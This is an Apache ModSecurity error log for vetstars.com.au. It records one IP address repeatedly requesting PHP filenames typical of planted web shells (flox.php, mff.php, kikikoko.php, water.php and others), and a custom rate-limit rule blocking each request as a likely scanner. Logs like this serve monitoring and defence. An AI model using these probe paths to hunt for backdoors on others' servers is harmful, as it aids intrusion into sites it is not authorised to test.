[Wed Apr 22 03:49:23.450829 2026] [:error] [pid 21683:tid 21769] [client 51.103.104.209:45534] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flox.php"] [unique_id "aefUw1ZBWT-0diZyYyZPmgAAAJM"]
[Wed Apr 22 03:49:27.557568 2026] [:error] [pid 23041:tid 23063] [client 51.103.104.209:51037] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flox.php"] [unique_id "aefUx0TXx_lUa7xwAb5p6wAAARM"]
[Wed Apr 22 03:49:33.020526 2026] [:error] [pid 21683:tid 21769] [client 51.103.104.209:36450] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flox.php"] [unique_id "aefUzVZBWT-0diZyYyZPwQAAAJM"]
[Wed Apr 22 03:49:38.215483 2026] [:error] [pid 21681:tid 21694] [client 51.103.104.209:43003] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mff.php"] [unique_id "aefU0t5LmJziq-yZYawLigAAAAQ"]
[Wed Apr 22 03:49:41.159968 2026] [:error] [pid 21788:tid 21810] [client 51.103.104.209:37219] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mff.php"] [unique_id "aefU1X7OM27rzVpef24xswAAANQ"]
[Wed Apr 22 03:49:42.481281 2026] [:error] [pid 21683:tid 21767] [client 51.103.104.209:42960] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mff.php"] [unique_id "aefU1lZBWT-0diZyYyZPyAAAAJE"]
[Wed Apr 22 03:49:45.008869 2026] [:error] [pid 21682:tid 21743] [client 51.103.104.209:60939] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mff.php"] [unique_id "aefU2ZlXWQZUlmPHS3rKXAAAAFQ"]
[Wed Apr 22 03:49:48.874069 2026] [:error] [pid 23041:tid 23068] [client 51.103.104.209:5720] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aq.php"] [unique_id "aefU3ETXx_lUa7xwAb5qTAAAARg"]
[Wed Apr 22 03:49:49.899264 2026] [:error] [pid 23041:tid 23055] [client 51.103.104.209:38418] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aq.php"] [unique_id "aefU3UTXx_lUa7xwAb5qVwAAAQs"]
[Wed Apr 22 03:49:52.780338 2026] [:error] [pid 23041:tid 23051] [client 51.103.104.209:35781] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aq.php"] [unique_id "aefU4ETXx_lUa7xwAb5qbQAAAQc"]
[Wed Apr 22 03:49:53.894575 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:60928] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aq.php"] [unique_id "aefU4UTXx_lUa7xwAb5qcwAAAQA"]
[Wed Apr 22 03:49:54.582220 2026] [:error] [pid 23041:tid 23061] [client 51.103.104.209:62904] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanger2.php"] [unique_id "aefU4kTXx_lUa7xwAb5qeQAAARE"]
[Wed Apr 22 03:49:55.499809 2026] [:error] [pid 21682:tid 21747] [client 51.103.104.209:45431] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanger2.php"] [unique_id "aefU45lXWQZUlmPHS3rKcAAAAFg"]
[Wed Apr 22 03:49:56.276156 2026] [:error] [pid 23041:tid 23045] [client 51.103.104.209:5708] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanger2.php"] [unique_id "aefU5ETXx_lUa7xwAb5qgwAAAQE"]
[Wed Apr 22 03:49:57.749317 2026] [:error] [pid 21683:tid 21768] [client 51.103.104.209:62906] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanger2.php"] [unique_id "aefU5VZBWT-0diZyYyZP0wAAAJI"]
[Wed Apr 22 03:49:59.640105 2026] [:error] [pid 23041:tid 23055] [client 51.103.104.209:60991] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefU50TXx_lUa7xwAb5qigAAAQs"]
[Wed Apr 22 03:50:00.894308 2026] [:error] [pid 23041:tid 23068] [client 51.103.104.209:56866] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefU6ETXx_lUa7xwAb5qkgAAARg"]
[Wed Apr 22 03:50:02.040100 2026] [:error] [pid 23041:tid 23063] [client 51.103.104.209:61870] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefU6kTXx_lUa7xwAb5qlwAAARM"]
[Wed Apr 22 03:50:03.989979 2026] [:error] [pid 21682:tid 21744] [client 51.103.104.209:44919] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefU65lXWQZUlmPHS3rKhQAAAFU"]
[Wed Apr 22 03:50:07.152906 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:45110] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-vn1.php"] [unique_id "aefU70TXx_lUa7xwAb5qpgAAAQA"]
[Wed Apr 22 03:50:24.725340 2026] [:error] [pid 23041:tid 23067] [client 51.103.104.209:52798] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aefVAETXx_lUa7xwAb5rBAAAARc"]
[Wed Apr 22 03:50:26.401032 2026] [:error] [pid 21681:tid 21693] [client 51.103.104.209:57200] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aefVAt5LmJziq-yZYawLyQAAAAM"]
[Wed Apr 22 03:50:28.250161 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:58667] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aefVBETXx_lUa7xwAb5rGwAAAQA"]
[Wed Apr 22 03:50:30.024540 2026] [:error] [pid 23041:tid 23058] [client 51.103.104.209:59441] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aefVBkTXx_lUa7xwAb5rIgAAAQ4"]
[Wed Apr 22 03:50:31.248225 2026] [:error] [pid 21683:tid 21752] [client 51.103.104.209:59050] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aefVB1ZBWT-0diZyYyZQPQAAAII"]
[Wed Apr 22 03:50:32.859014 2026] [:error] [pid 21681:tid 21712] [client 51.103.104.209:47096] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aefVCN5LmJziq-yZYawL0QAAABY"]
[Wed Apr 22 03:50:34.291610 2026] [:error] [pid 21788:tid 21807] [client 51.103.104.209:37075] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aefVCn7OM27rzVpef24ylAAAANE"]
[Wed Apr 22 03:50:35.537034 2026] [:error] [pid 21681:tid 21698] [client 51.103.104.209:49198] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aefVC95LmJziq-yZYawL4QAAAAg"]
[Wed Apr 22 03:50:38.088862 2026] [:error] [pid 21683:tid 21774] [client 51.103.104.209:44457] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aefVDlZBWT-0diZyYyZQSwAAAJg"]
[Wed Apr 22 03:50:39.039226 2026] [:error] [pid 23041:tid 23047] [client 51.103.104.209:51646] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aefVD0TXx_lUa7xwAb5rRgAAAQM"]
[Wed Apr 22 03:50:39.832772 2026] [:error] [pid 23041:tid 23049] [client 51.103.104.209:56814] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aefVD0TXx_lUa7xwAb5rSwAAAQU"]
[Wed Apr 22 03:50:40.773674 2026] [:error] [pid 23041:tid 23054] [client 51.103.104.209:37102] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nwflm.php"] [unique_id "aefVEETXx_lUa7xwAb5rTgAAAQo"]
[Wed Apr 22 03:50:41.759137 2026] [:error] [pid 23041:tid 23050] [client 51.103.104.209:59022] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefVEUTXx_lUa7xwAb5rUwAAAQY"]
[Wed Apr 22 03:50:42.633165 2026] [:error] [pid 21681:tid 21702] [client 51.103.104.209:51589] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefVEt5LmJziq-yZYawL7wAAAAw"]
[Wed Apr 22 03:50:43.551021 2026] [:error] [pid 21681:tid 21696] [client 51.103.104.209:44477] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefVE95LmJziq-yZYawL8gAAAAY"]
[Wed Apr 22 03:50:44.572764 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:58636] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aefVFETXx_lUa7xwAb5rWAAAAQA"]
[Wed Apr 22 03:50:45.318102 2026] [:error] [pid 21788:tid 21809] [client 51.103.104.209:58632] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aefVFX7OM27rzVpef24yswAAANM"]
[Wed Apr 22 03:50:46.438393 2026] [:error] [pid 21788:tid 21798] [client 51.103.104.209:55587] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aefVFn7OM27rzVpef24yugAAAMg"]
[Wed Apr 22 03:50:47.630608 2026] [:error] [pid 23041:tid 23064] [client 51.103.104.209:39679] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aefVF0TXx_lUa7xwAb5rYAAAARQ"]
[Wed Apr 22 03:50:48.624432 2026] [:error] [pid 21788:tid 21795] [client 51.103.104.209:43276] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aefVGH7OM27rzVpef24ywAAAAMU"]
[Wed Apr 22 03:50:50.160968 2026] [:error] [pid 21788:tid 21798] [client 51.103.104.209:59053] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aefVGn7OM27rzVpef24yygAAAMg"]
[Wed Apr 22 03:50:51.497918 2026] [:error] [pid 21683:tid 21772] [client 51.103.104.209:54057] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aefVG1ZBWT-0diZyYyZQYgAAAJY"]
[Wed Apr 22 03:50:52.698566 2026] [:error] [pid 21682:tid 21737] [client 51.103.104.209:55572] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aefVHJlXWQZUlmPHS3rK3wAAAE4"]
[Wed Apr 22 03:50:53.879270 2026] [:error] [pid 21788:tid 21812] [client 51.103.104.209:56776] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aefVHX7OM27rzVpef24y4AAAANY"]
[Wed Apr 22 03:50:54.760395 2026] [:error] [pid 21788:tid 21801] [client 51.103.104.209:54061] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aefVHn7OM27rzVpef24y4wAAAMs"]
[Wed Apr 22 03:50:56.109154 2026] [:error] [pid 21683:tid 21760] [client 51.103.104.209:43699] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aefVIFZBWT-0diZyYyZQZwAAAIo"]
[Wed Apr 22 03:50:58.295272 2026] [:error] [pid 23041:tid 23060] [client 51.103.104.209:56805] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aefVIkTXx_lUa7xwAb5rfgAAARA"]
[Wed Apr 22 03:50:59.883110 2026] [:error] [pid 21682:tid 21725] [client 51.103.104.209:64115] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "aefVI5lXWQZUlmPHS3rK5wAAAEI"]
[Wed Apr 22 03:51:01.803698 2026] [:error] [pid 23041:tid 23057] [client 51.103.104.209:40219] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aefVJUTXx_lUa7xwAb5rkgAAAQ0"]
[Wed Apr 22 03:51:03.536780 2026] [:error] [pid 21682:tid 21742] [client 51.103.104.209:46306] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aefVJ5lXWQZUlmPHS3rK7AAAAFM"]
[Wed Apr 22 03:51:08.389080 2026] [:error] [pid 21788:tid 21809] [client 51.103.104.209:37874] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aefVLH7OM27rzVpef24y_QAAANM"]
[Wed Apr 22 03:51:12.233515 2026] [:error] [pid 21683:tid 21772] [client 51.103.104.209:5817] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aefVMFZBWT-0diZyYyZQfgAAAJY"]
[Wed Apr 22 03:51:18.924379 2026] [:error] [pid 21681:tid 21700] [client 51.103.104.209:44011] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aefVNt5LmJziq-yZYawMEgAAAAo"]
[Wed Apr 22 03:51:21.483517 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:5454] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aefVOUTXx_lUa7xwAb5rzwAAAQA"]
[Wed Apr 22 03:51:33.855748 2026] [:error] [pid 21682:tid 21743] [client 51.103.104.209:47762] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aefVRZlXWQZUlmPHS3rLEwAAAFQ"]
[Wed Apr 22 03:51:39.847394 2026] [:error] [pid 23041:tid 23057] [client 51.103.104.209:39124] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aefVS0TXx_lUa7xwAb5r_QAAAQ0"]
[Wed Apr 22 03:51:43.752504 2026] [:error] [pid 21683:tid 21754] [client 51.103.104.209:54335] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aefVT1ZBWT-0diZyYyZQyAAAAIQ"]
